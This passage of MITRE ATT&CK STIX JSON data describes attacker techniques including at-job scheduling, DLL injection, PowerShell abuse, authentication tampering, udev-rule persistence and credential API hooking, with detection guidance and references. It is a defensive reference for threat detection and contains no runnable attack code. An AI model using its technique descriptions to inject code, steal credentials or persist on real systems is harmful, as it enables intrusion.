through [Discovery](https://attack.mitre.org/tactics/TA0007), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008).","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows","Linux","macOS"],"x_mitre_version":"2.3","x_mitre_data_sources":["Command: Command Execution","Scheduled Job: Scheduled Job Creation","Network Traffic: Network Traffic Flow","Process: Process Creation","File: File Modification"],"x_mitre_permissions_required":["Administrator","User"],"x_mitre_remote_support":true,"type":"attack-pattern","id":"attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0","created":"2019-11-27T13:52:45.853Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1053/002","external_id":"T1053.002"},{"source_name":"rowland linux at 2019","description":"Craig Rowland. (2019, July 25). Getting an Attacker IP Address from a Malicious Linux At Job. Retrieved October 15, 2021.","url":"https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/"},{"source_name":"GTFObins at","description":"Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved September 28, 2021.","url":"https://gtfobins.github.io/gtfobins/at/"},{"source_name":"Linux at","description":"IEEE/The Open Group. (2017). at(1p) — Linux manual page. Retrieved February 25, 2022.","url":"https://man7.org/linux/man-pages/man1/at.1p.html"},{"source_name":"Twitter Leoloobeek Scheduled Task","description":"Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved September 12, 2024.","url":"https://x.com/leoloobeek/status/939248813465853953"},{"source_name":"Microsoft Scheduled Task Events Win10","description":"Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019.","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events"},{"source_name":"TechNet Scheduled Task Events","description":"Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017.","url":"https://technet.microsoft.com/library/dd315590.aspx"},{"source_name":"Malicious Life by Cybereason","description":"Philip Tsukerman. (n.d.). No Win32 Process Needed | Expanding the WMI Lateral Movement Arsenal. Retrieved June 19, 2024.","url":"https://www.cybereason.com/blog/wmi-lateral-movement-win32#blog-subscribe"},{"source_name":"TechNet Autoruns","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","url":"https://technet.microsoft.com/en-us/sysinternals/bb963902"},{"source_name":"TechNet Forum Scheduled Task Operational Setting","description":"Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017.","url":"https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392","type":"attack-pattern","created":"2017-05-31T21:30:36.550Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1035","external_id":"T1035"}],"modified":"2020-03-10T18:34:39.665Z","name":"Service Execution","description":"Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with [New Service](https://attack.mitre.org/techniques/T1050) and [Modify Existing Service](https://attack.mitre.org/techniques/T1031) during service persistence or privilege escalation.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"Changes to service Registry entries and command-line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool [PsExec](https://attack.mitre.org/software/S0029).","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["Administrator","SYSTEM"],"x_mitre_remote_support":true,"x_mitre_is_subtechnique":false},{"modified":"2023-08-11T21:34:38.558Z","name":"Dynamic-link Library Injection","description":"Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process. \n\nDLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017) \n\nVariations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of LoadLibrary).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) \n\nAnother variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. This method involves loading a legitimate DLL into a remote process then manually overwriting the module's AddressOfEntryPoint before starting a new thread in the target process.(Citation: Module Stomping for Shellcode Injection) This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.(Citation: Hiding Malicious Code with Module Stomping) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_contributors":["Boominathan Sundaram"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nMonitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.3","x_mitre_data_sources":["Process: Process Metadata","Process: Process Access","Process: Process Modification","Module: Module Load","Process: OS API Execution"],"x_mitre_defense_bypassed":["Application control","Anti-virus"],"x_mitre_permissions_required":["User"],"type":"attack-pattern","id":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","created":"2020-01-14T01:26:08.145Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1055/001","external_id":"T1055.001"},{"source_name":"Hiding Malicious Code with Module Stomping","description":"Aliz Hammond. (2019, August 15). Hiding Malicious Code with \"Module Stomping\": Part 1. Retrieved July 14, 2022.","url":"https://blog.f-secure.com/hiding-malicious-code-with-module-stomping/"},{"source_name":"Elastic HuntingNMemory June 2017","description":"Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December 7, 2017.","url":"https://www.endgame.com/blog/technical-blog/hunting-memory"},{"source_name":"Elastic Process Injection July 2017","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"},{"source_name":"Module Stomping for Shellcode Injection","description":"Red Teaming Experiments. (n.d.). Module Stomping for Shellcode Injection. Retrieved July 14, 2022.","url":"https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Praetorian"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0","type":"attack-pattern","created":"2017-05-31T21:31:06.512Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1086","url":"https://attack.mitre.org/techniques/T1086"},{"url":"https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx","description":"Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April 28, 2016.","source_name":"TechNet PowerShell"},{"url":"https://github.com/mattifestation/PowerSploit","description":"PowerSploit. (n.d.). Retrieved December 4, 2014.","source_name":"Powersploit"},{"url":"https://github.com/jaredhaight/PSAttack","description":"Haight, J. (2016, April 21). PS>Attack. Retrieved June 1, 2016.","source_name":"Github PSAttack"},{"source_name":"Sixdub PowerPick Jan 2016","url":"http://www.sixdub.net/?p=367","description":"Warner, J.. (2015, January 6). Inexorable PowerShell – A Red Teamer’s Tale of Overcoming Simple AppLocker Policies. Retrieved December 8, 2018."},{"source_name":"SilentBreak Offensive PS Dec 2015","url":"https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/","description":"Christensen, L.. (2015, December 28). The Evolution of Offensive PowerShell Invocation. Retrieved December 8, 2018."},{"source_name":"Microsoft PSfromCsharp APR 2014","url":"https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/","description":"Babinec, K. (2014, April 28). Executing PowerShell scripts from C#. Retrieved April 22, 2019."},{"url":"http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf","description":"Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.","source_name":"Malware Archaeology PowerShell Cheat Sheet"},{"url":"https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html","description":"Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH POWERSHELL LOGGING. Retrieved February 16, 2016.","source_name":"FireEye PowerShell Logging 2016"}],"modified":"2020-03-09T13:51:06.334Z","name":"PowerShell","description":"PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer. \n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nAdministrator permissions are required to use PowerShell to connect to remote systems.\n\nA number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)\n\nPowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015) (Citation: Microsoft PSfromCsharp APR 2014)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\n\nMonitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)\n\nIt is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features. (Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["User","Administrator"],"x_mitre_remote_support":true,"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--f4b843c1-7e92-4701-8fed-ce82f8be2636","type":"attack-pattern","created":"2020-10-01T02:17:46.086Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1588.005","url":"https://attack.mitre.org/techniques/T1588/005"},{"source_name":"Exploit Database","url":"https://www.exploit-db.com/","description":"Offensive Security. (n.d.). Exploit Database. Retrieved October 15, 2020."},{"source_name":"TempertonDarkHotel","description":"Temperton, J. (2015, August 10). Hacking Team zero-day used in new Darkhotel attacks. Retrieved March 9, 2017.","url":"https://www.wired.co.uk/article/darkhotel-hacking-team-cyber-espionage"},{"source_name":"NationsBuying","description":"Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.","url":"https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html"},{"url":"https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/","description":"Bill Marczak and John Scott-Railton. (2016, August 24). The Million Dollar Dissident: NSO Group’s iPhone Zero-Days used against a UAE Human Rights Defender. Retrieved December 12, 2016.","source_name":"PegasusCitizenLab"},{"source_name":"Wired SandCat Oct 2019","url":"https://www.vice.com/en/article/3kx5y3/uzbekistan-hacking-operations-uncovered-due-to-spectacularly-bad-opsec","description":"Zetter, K. (2019, October 3). Researchers Say They Uncovered Uzbekistan Hacking Operations Due to Spectacularly Bad OPSEC. Retrieved October 15, 2020."}],"modified":"2021-04-15T03:14:01.255Z","name":"Exploits","description":"Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying)\n\nIn addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals.(Citation: PegasusCitizenLab)(Citation: Wired SandCat Oct 2019) In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).(Citation: TempertonDarkHotel)\n\nAn adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation.\n\nAdversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-14T22:11:30.271Z","name":"Modify Authentication Process","description":"Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).\n\nAdversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_attack_spec_version":"3.2.0","x_mitre_contributors":["Chris Ross @xorrior"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages) and correlate then investigate the DLL files these files reference. \n\nPassword filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)\n\nMonitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton) \n\nMonitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nMonitor for suspicious additions to the /Library/Security/SecurityAgentPlugins directory.(Citation: Xorrior Authorization Plugins)\n\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nMonitor property changes in Group Policy that manage authentication mechanisms (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). The Store passwords using reversible encryption configuration should be set to Disabled. Additionally, monitor and/or block suspicious command/script execution of -AllowReversiblePasswordEncryption $true, Set-ADUser and Set-ADAccountControl. Finally, monitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)\n","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Windows","Linux","macOS","Network","IaaS","SaaS","Office Suite","Identity Provider"],"x_mitre_version":"2.5","x_mitre_data_sources":["Application Log: Application Log Content","Process: Process Access","Logon Session: Logon Session Creation","Active Directory: Active Directory Object Modification","User Account: User Account Authentication","Process: OS API Execution","Windows Registry: Windows Registry Key Creation","File: File Creation","User Account: User Account Modification","File: File Modification","Module: Module Load","Cloud Service: Cloud Service Modification","Windows Registry: Windows Registry Key Modification"],"type":"attack-pattern","id":"attack-pattern--f4c1826f-a322-41cd-9557-562100848c84","created":"2020-02-11T19:01:56.887Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1556","external_id":"T1556"},{"source_name":"Clymb3r Function Hook Passwords Sept 2013","description":"Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.","url":"https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/"},{"source_name":"Xorrior Authorization Plugins","description":"Chris Ross. (2018, October 17). Persistent Credential Theft with Authorization Plugins. Retrieved April 22, 2021.","url":"https://xorrior.com/persistent-credential-theft/"},{"source_name":"Dell Skeleton","description":"Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.","url":"https://www.secureworks.com/research/skeleton-key-malware-analysis"},{"source_name":"dump_pwd_dcsync","description":"Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021.","url":"https://adsecurity.org/?p=2053"},{"source_name":"TechNet Audit Policy","description":"Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.","url":"https://technet.microsoft.com/en-us/library/dn487457.aspx"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"modified":"2024-10-17T20:17:53.469Z","name":"Udev Rules","description":"Adversaries may maintain persistence through executing malicious content triggered using udev rules. Udev is the Linux kernel device manager that dynamically manages device nodes, handles access to pseudo-device files in the `/dev` directory, and responds to hardware events, such as when external devices like hard drives or keyboards are plugged in or removed. Udev uses rule files with `match keys` to specify the conditions a hardware event must meet and `action keys` to define the actions that should follow. Root permissions are required to create, modify, or delete rule files located in `/etc/udev/rules.d/`, `/run/udev/rules.d/`, `/usr/lib/udev/rules.d/`, `/usr/local/lib/udev/rules.d/`, and `/lib/udev/rules.d/`. Rule priority is determined by both directory and by the digit prefix in the rule filename.(Citation: Ignacio Udev research 2024)(Citation: Elastic Linux Persistence 2024)\n\nAdversaries may abuse the udev subsystem by adding or modifying rules in udev rule files to execute malicious content. For example, an adversary may configure a rule to execute their binary each time the pseudo-device file, such as `/dev/random`, is accessed by an application. Although udev is limited to running short tasks and is restricted by systemd-udevd's sandbox (blocking network and filesystem access), attackers may use scripting commands under the action key `RUN+=` to detach and run the malicious content’s process in the background to bypass these controls.(Citation: Reichert aon sedexp 2024)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_contributors":["Eduardo González Hernández (@codexlynx)","Eder Pérez Ignacio, @ch4ik0","Wirapong Petshagun","@grahamhelton3","Ruben Groenewoud, Elastic"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor file creation and modification of Udev rule files in `/etc/udev/rules.d/`, `/lib/udev/rules.d/`, and /usr/lib/udev/rules.d/, specifically the `RUN` action key commands.(Citation: Ignacio Udev research 2024) ","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux"],"x_mitre_version":"1.0","x_mitre_data_sources":["Process: Process Creation","File: File Modification"],"type":"attack-pattern","id":"attack-pattern--f4c3f644-ab33-433d-8648-75cc03a95792","created":"2024-09-26T17:02:09.888Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1546/017","external_id":"T1546.017"},{"source_name":"Ignacio Udev research 2024","description":"Eder P. Ignacio. (2024, February 21). Leveraging Linux udev for persistence. Retrieved September 26, 2024.","url":"https://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/"},{"source_name":"Elastic Linux Persistence 2024","description":"Ruben Groenewoud. (2024, August 29). Linux Detection Engineering - A Sequel on Persistence Mechanisms. Retrieved October 16, 2024.","url":"https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms"},{"source_name":"Reichert aon sedexp 2024","description":"Zachary Reichert. (2024, August 19). Unveiling \"sedexp\": A Stealthy Linux Malware Exploiting udev Rules. Retrieved September 26, 2024.","url":"https://www.aon.com/en/insights/cyber-labs/unveiling-sedexp"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-08-27T21:03:56.385Z","name":"Credential API Hooking","description":"Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001), this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"},{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for calls to the `SetWindowsHookEx` and `SetWinEventHook` functions, which install a hook procedure.(Citation: Microsoft Hook Overview)(Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools(Citation: Volatility Detecting Hooks Sept 2012)(Citation: PreKageo Winhook Jul 2011)(Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures.(Citation: Zairon Hooking Dec 2006)(Citation: EyeofRa Detecting Hooking June 2017)\n\nRootkits detectors(Citation: GMER Rootkits) can also be used to monitor for various types of hooking activity.\n\nVerify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes(Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions.(Citation: StackExchange Hooks Jul 2012)(Citation: Adlice Software IAT Hooks Oct 2014)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["Process: Process Metadata","Process: OS API Execution"],"type":"attack-pattern","id":"attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6","created":"2020-02-11T19:01:15.930Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1056/004","external_id":"T1056.004"},{"source_name":"EyeofRa Detecting Hooking June 2017","description":"Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017.","url":"https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/"},{"source_name":"Zairon Hooking Dec 2006","description":"Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017.","url":"https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/"},{"source_name":"GMER Rootkits","description":"GMER. (n.d.). GMER. Retrieved December 12, 2017.","url":"http://www.gmer.net/"},{"source_name":"MWRInfoSecurity Dynamic Hooking 2015","description":"Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017.","url":"https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/"},{"source_name":"Elastic Process Injection July 2017","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"},{"source_name":"HighTech Bridge Inline Hooking Sept 2011","description":"Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved December 12, 2017.","url":"https://www.exploit-db.com/docs/17802.pdf"},{"source_name":"Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017","description":"Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. Retrieved December 18, 2017.","url":"https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918"},{"source_name":"Microsoft Hook Overview","description":"Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.","url":"https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx"},{"source_name":"Microsoft Process Snapshot","description":"Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017.","url":"https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx"},{"source_name":"PreKageo Winhook Jul 2011","description":"Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.","url":"https://github.com/prekageo/winhook"},{"source_name":"Jay GetHooks Sept 